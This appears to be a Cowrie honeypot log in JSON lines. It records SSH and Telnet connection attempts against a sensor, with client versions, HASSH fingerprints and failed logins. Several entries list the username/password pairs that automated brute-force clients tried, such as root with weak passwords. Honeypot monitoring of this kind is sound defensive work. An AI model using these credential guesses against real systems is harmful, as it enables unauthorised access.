{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:05.971481Z","src_ip":"109.172.54.111","session":"42cf66bcc654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:06.095615Z","src_ip":"43.156.170.155","session":"3a5f3cfd174c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":47594,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7c6ff5a8b1","protocol":"ssh","message":"New connection: 46.253.45.10:47594 (10.17.0.5:22) [session: 2e7c6ff5a8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:50.272434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:50.276568Z","src_ip":"46.253.45.10","session":"2e7c6ff5a8b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:50.401949Z","src_ip":"46.253.45.10","session":"2e7c6ff5a8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"root","message":"login attempt [dev/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:50.936991Z","src_ip":"46.253.45.10","session":"2e7c6ff5a8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:52.066088Z","src_ip":"46.253.45.10","session":"2e7c6ff5a8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.199","src_port":34338,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa2d1de69b0","protocol":"ssh","message":"New connection: 14.103.127.199:34338 (10.17.0.5:22) [session: 1fa2d1de69b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:56.032199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:56.037886Z","src_ip":"14.103.127.199","session":"1fa2d1de69b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:56.267548Z","src_ip":"14.103.127.199","session":"1fa2d1de69b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWE","message":"login attempt [root/123456QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:57.211610Z","src_ip":"14.103.127.199","session":"1fa2d1de69b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:58.442879Z","src_ip":"14.103.127.199","session":"1fa2d1de69b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45431,"dst_ip":"10.17.0.5","dst_port":22,"session":"518b9b449550","protocol":"ssh","message":"New connection: 89.144.214.214:45431 (10.17.0.5:22) [session: 518b9b449550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:03.949605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:03.955627Z","src_ip":"89.144.214.214","session":"518b9b449550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:04.090053Z","src_ip":"89.144.214.214","session":"518b9b449550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdi","password":"mahdi","message":"login attempt [mahdi/mahdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:04.663832Z","src_ip":"89.144.214.214","session":"518b9b449550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:05.795444Z","src_ip":"89.144.214.214","session":"518b9b449550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece9ccc3ff84","protocol":"telnet","message":"New connection: 180.235.129.180:33662 (10.17.0.5:23) [session: ece9ccc3ff84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:07.805226Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:16.221060Z","src_ip":"118.196.26.161","session":"ee1d259e1cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":45874,"dst_ip":"10.17.0.5","dst_port":22,"session":"7223f84fa1b8","protocol":"ssh","message":"New connection: 41.181.156.205:45874 (10.17.0.5:22) [session: 7223f84fa1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:19.598009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:19.603201Z","src_ip":"41.181.156.205","session":"7223f84fa1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:19.852487Z","src_ip":"41.181.156.205","session":"7223f84fa1b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maomao123","message":"login attempt [root/maomao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:20.869878Z","src_ip":"41.181.156.205","session":"7223f84fa1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:22.120582Z","src_ip":"41.181.156.205","session":"7223f84fa1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":42748,"dst_ip":"10.17.0.5","dst_port":22,"session":"46818437238d","protocol":"ssh","message":"New connection: 165.154.5.173:42748 (10.17.0.5:22) [session: 46818437238d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:36.608036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:36.611768Z","src_ip":"165.154.5.173","session":"46818437238d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:36.826500Z","src_ip":"165.154.5.173","session":"46818437238d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caca","message":"login attempt [root/caca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:37.718321Z","src_ip":"165.154.5.173","session":"46818437238d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:38.936203Z","src_ip":"165.154.5.173","session":"46818437238d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":46708,"dst_ip":"159.203.135.109","dst_port":22,"session":"de1c09bbd58d","protocol":"ssh","message":"New connection: 147.45.211.215:46708 (159.203.135.109:22) [session: de1c09bbd58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:44.367409Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"059de07744e4","protocol":"ssh","message":"New connection: 43.156.170.155:34466 (10.17.0.5:22) [session: 059de07744e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:47.530742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:47.538304Z","src_ip":"43.156.170.155","session":"059de07744e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:47.783899Z","src_ip":"43.156.170.155","session":"059de07744e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sambauser","password":"123","message":"login attempt [sambauser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:48.795675Z","src_ip":"43.156.170.155","session":"059de07744e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:50.042879Z","src_ip":"43.156.170.155","session":"059de07744e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":57048,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e7c4a86d45","protocol":"ssh","message":"New connection: 103.149.170.125:57048 (159.203.135.109:22) [session: 12e7c4a86d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:50.171362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:50.175812Z","src_ip":"103.149.170.125","session":"12e7c4a86d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:50.443521Z","src_ip":"103.149.170.125","session":"12e7c4a86d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"g3vhrbfu","message":"login attempt [root/g3vhrbfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:51.248882Z","src_ip":"103.149.170.125","session":"12e7c4a86d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:17:52.521241Z","src_ip":"103.149.170.125","session":"12e7c4a86d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":49120,"dst_ip":"10.17.0.5","dst_port":22,"session":"955f7f9ba9fc","protocol":"ssh","message":"New connection: 46.253.45.10:49120 (10.17.0.5:22) [session: 955f7f9ba9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:12.645992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:12.653413Z","src_ip":"46.253.45.10","session":"955f7f9ba9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:12.778592Z","src_ip":"46.253.45.10","session":"955f7f9ba9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root/123456","password":"root","message":"login attempt [root/123456/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:13.311546Z","src_ip":"46.253.45.10","session":"955f7f9ba9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:14.441219Z","src_ip":"46.253.45.10","session":"955f7f9ba9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49298,"dst_ip":"159.203.135.109","dst_port":22,"session":"4118d7065cd0","protocol":"ssh","message":"New connection: 147.45.197.250:49298 (159.203.135.109:22) [session: 4118d7065cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:18:43.552620Z"}
